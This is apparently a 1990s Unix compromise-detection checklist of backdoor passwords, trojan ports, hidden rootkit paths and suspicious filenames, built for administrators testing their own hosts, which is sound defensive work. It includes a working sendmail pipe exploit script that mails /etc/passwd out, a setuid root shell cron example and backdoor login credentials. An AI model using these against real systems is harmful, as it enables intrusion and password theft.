10-POINT CHECKLIST

The following steps are necessary in order to determine if the system you are running this procedure on has been or is in the process of being compromised. This checklist was built from known hacking methods of operation and techniques. The majority of this procedure has been automated and can be performed against the system by contacting Steve Graf at 314 235-2982 or Ron Youngclaus at 314 235-2935.

1. Attempt to log into the system using ANY string of characters other than a legitimate ID, and a password of one of the following: try each one, CASE AND PUNCTUATION MARKS ARE RELEVANT!

*m0r3	*3l33t	cig=	wank
*wh00p	*sn00p	SMI	n0tpass
*1rcsux	*m1ll	fuq4food	werd
*d00b1	*p0rty	fuckeR	burp
*wasux	*k3wl	D13hh[	marksux
g00kz	p00ty*	*^_0x.	"/sh"
*g0vsux	*c0mb0y	muteskid<enter>	n
*m3d1c	b1tch[	StoogR	fatk1d
*wh0r3	*m1ssl3	N0oG1e	h
k3wl1n	mu0kez*	_strtok	fr33
*wusux	*qu33r	eleet0	"|"
*laym!	*k0k1t	eleetz	*bd00r
wh00t!	r00bey	tubz91	b00ty*
*r00t!	r00tage	pass	n1gga!
w0rk1t	sunp00	j00b0y	nig0r
*m00dy	^sunm1	***000	fuqg0d
el1te*	z0nk	j00p1t	facility
nd*k0k	bbsr0k	lrkr0x	fasune
rana			

1a. Attempt to telnet to the system over the "exec" port (512) and use the string test1234 after connecting, e.g., the syntax is:

telnet <IP address> exec after connecting, enter test1234

1b. Attempt to login to the system using an ID of r00t or rewt.

1c. Attempt to su to root using a password of FATBOY

DID ANY OF THE COMBINATIONS ALLOW ENTRY TO THE SYSTEM?
YES_____NO_____

2. Create a directory on the system and make it owned by root with rwx permissions for root only. From another system, attempt to execute a remote shell, specifying the user testit, fuqy0u, l33t1n, and fuqg0d; removing the directory you just created, e.g.

rsh <IP> -l testit rmdir <directory_just_created>
rsh <IP> -l fuqy0u rmdir <directory_just_created>
rsh <IP> -l fuqg0d rmdir <directory_just_created>
rsh <IP> -l l33t1n rmdir <directory_just_created>
rsh <IP> -l rewt rmdir <directory_just_created>

DID ANY OF THE COMMANDS REMOVE THE SPECIFIED DIRECTORY?
YES_____NO_____

2a. Attempt to ftp to the system using an ID of leetuser at the login prompt.

DID THIS RETURN A RESPONSE THAT LOOKS LIKE A DATE STAMP?
YES_____NO_____

3. Do a recursive listing of your devices directory, e.g. ls -alR /dev, and investigate any file that is not a character or block device. Pay particular attention to files named pty(something), or .tar, or net, or .win, e.g., ptyr, ptyq, or pytrq; they may be in sub-directories of /dev, perhaps /dev/0/0, a file whose contents are encrypted or perhaps looks similar to:

0 0
1 p0
2 portes
3 remoted

or:

rootkit
errlog
convert.1

3a. Look for a character device named vsr or perhaps vsr0.

ARE ANY FILES IN THE DEVICES DIRECTORY SUSPICIOUS?
YES_____NO_____

4. Attempt to telnet to this system from some other system, using the trojan "terminal server" over high-order ports. The syntax is:

telnet <hostname> <port number> where port number is 3113 or 54321 or 7000, or 7001, or 7002, or 12345, or 5555, or 9023, or 9999, or 9666, or 9888, or 9100, or 10666, or 16661, or 31336, or 31337, or 6665, or 8888, or 7777.

Try each port number separately.

WAS A PROMPT TO ENTER A PASSWORD RECEIVED? YES_____
NO_____

5. Search the system for the existence of the following specific directories:

/usr/lib/font/ftA/" " (3 spaces)
/usr/lib/font/ftA/...
/home/service/.binmap
/usr/lost+found/.?/.t
/usr/lib/font/fttz/" " (1 space)
/usr/lib/rasfilters/convert.1
/usr/spool/lpd/.I
/usr/lib/fonts/tekfonts
/tmp/.tmp<PID>
/tmp/div<PID>
/usr/lib/zoneinfo/GMT+15
/usr/lib/zoneinfo/GMT14/" "(3 spaces)

Generally search the system for the existence of files or directories named unprintable charactersusing SysGuard's findHidden command or execute the following find command.

find / \(-name " *" -o -name "..*" -o -name "*[!?^-~]*" \) -print | cat -vt

DO ANY OF THE DIRECTORIES ABOVE EXIST OR DOES THE RESULT OF THE COMMAND ABOVE
REVEAL ANY SUSPICIOUS FILES OR DIRECTORIES?
YES_____NO_____

6. Insure that jobs running out of cron are legitimate. Search the crontab's for foreign or strange code, e.g, a cron job that executes code such as:

cp /bin/sh /tmp/sh
chown root /tmp/sh
chmod 4755 /tmp/sh
cp /tmp/sh /bin/sh

DO ANY OF THE CRON JOBS APPEAR TO BE SUSPICIOUS?
YES_____NO_____

7. If the system has a user ID of pyramid, informix, or oracle, attempt to login using a password of pyramid with the ID pyramid; a password of informix with the ID of informix; a password of oracle with the ID oracle.

WAS AN ATTEMPT TO LOGIN SUCCESSFUL?
YES_____NO_____

8. IF the system is using sendmail, verify if the sendmail configuration is susceptible to attack. To verify if sendmail is running, issue the following command to the system from some other system:

telnet <system name or IP> 25

IF sendmail is running, issue the following commands one-at-a-time:

wiz debug kill "expn decode" quit

DID ANY OF THE COMMANDS RETURN "OK" RATHER THAN UNRECOGNIZED?
YES_____NO_____

8a. On some other system, create a shell script that contains the following:

```
telnet $1 25 << DONE &
MAIL FROM: |/usr/ucb/tail/|/usr/bin/sh
RCPT TO: PiNgWaRE
DATA
From: pingware@someware (Noname)
To: pingware@someware (Noname)
Return-Receipt-To: |PiNgWaRE
Subject: Sendmail Security Test
X-Disclaimer: none
#!/bin/sh
PATH=/usr/bin:/usr/ucb:/bin
/usr/bin/nohup /usr/bin/mail yourID@yoursystem < /etc/passwd &
#
#
#
#
#
#
#
.
quit
DONE
# Spawn an "assassin" process in the background to kill SMTP if it hangs
smtpid=$!
(sleep 15;kill -9 $smtpid) &
assassin=$!
# Wait for the SMTP connection to die - either on its own or because
# it was killed
wait $smtpid
# Kill the assassin if it didn't complete its mission
kill -9 $assassin
```

Make this shell script executable and then execute it against the system being tested, e.g. if you named the script pipebomb, execute ./pipebomb <IP_of_the_system_being_tested>

DID THIS SCRIPT MAIL THE PASSWORD FILE TO YOU?
YES_____NO_____

9. Verify that the binary version of the following programs are legitimate. You may have to check with the vendor for the legitimate md5sum, checksum, byte count, version # etc. for your operating system level, or compare the binary on this system to a binary on a like system. Execute a "what" command on each of the programs and make note of the version # and date. For example, a legitimate ls command on a SUN 4.1.3 should display version 1.26 dated 1989. You may want to check out all binary programs in your bin or /usr/bin directory even though the only trojans found so far are those listed below. Use the following command:

find /bin /usr/bin <any_other_binary_directories> -print | xargs what | egrep ' (: | \ 1.1 \ )'

ls	du	find	ps	dump	rdump	login	in.rlogind
in.telnetd	rshd	ifconfig	netstat	in.rexecd	cu	rpc.rstatd	init
in.ftpd	on	script	su	rexecd	ypwhich	ping	host_access

DID THE OUTPUT OF THE "WHAT" COMMAND DISPLAY A RESULT SIMILAR TO THE FOLLOWING
WITH THE VERSION # 1.1 BEING THE KEY ISSUE, THE DATES MAY VARY:

Copyright (c) 1980 Regents of the University of California
ls.c 1.1 91/11/13 SMI

or

Copyright (c) 1980 Regents of the University of California
login.c 1.1 90/10/29 SMI

YES_____ NO_____

10. Assuming that you have a legitimate find command, search the system for the following file names/programs/directories:

z2	es	fix	sl	ic	if	ns
nigz	w	z	sunny	blast.log	fnut	errlog*
divide	*.bak	remoted	ports	portes	sno.c	init
.tar	sno	.binmap	tcpmon	ms*	subnet.log	fakesys
snif	scan.log	scan.hits	rootkit	bomb	alter	anowall
.libdev.a	bonesnif	tekfonts.lib	chup	.a	.lam	.cl0ud9elite
t	solsniffer	.tfile	lib.lib.a	*etherlog	ts2term	dipe
ypx	.foosh	ah	.sush	nfsbug	blah	.z0nk

deslogin	devfont	cloak	ports3	.data	ts3	hidepak
binmap	expnew.sh	p	cpm	umailserv	block	.tty
sk	ypsnarf	ts2	rbone	boom	.lag	slammer
wol1	xmail	mul	i	s	ypprobe	ether.log
yphack	slugger	portd	exp	f	rb	

10a. Check /.profile and /tmp/.X11-Unix for copies of /bin/sh

10b. Check the system for illegitimate owners or groups, specifically group ID's of 666, e.g.

find / -nouser -o -nogroup -exec ls -alRg {} \; > /tmp/<some_file_name>
grep 666 /tmp/<some_file_name>

WERE ANY OF THE ABOVE FOUND AND CONSIDERED FOREIGN TO THE SYSTEM?

YES_____NO_____

ARE THERE NOW OR HAVE THERE BEEN ANY UNUSUAL OCCURRENCES OR HAPPENINGS
THAT HAVE RAISED YOUR SUSPICIONS CONCERNING THE SECURITY OF THIS SYSTEM?

YES_____ NO_____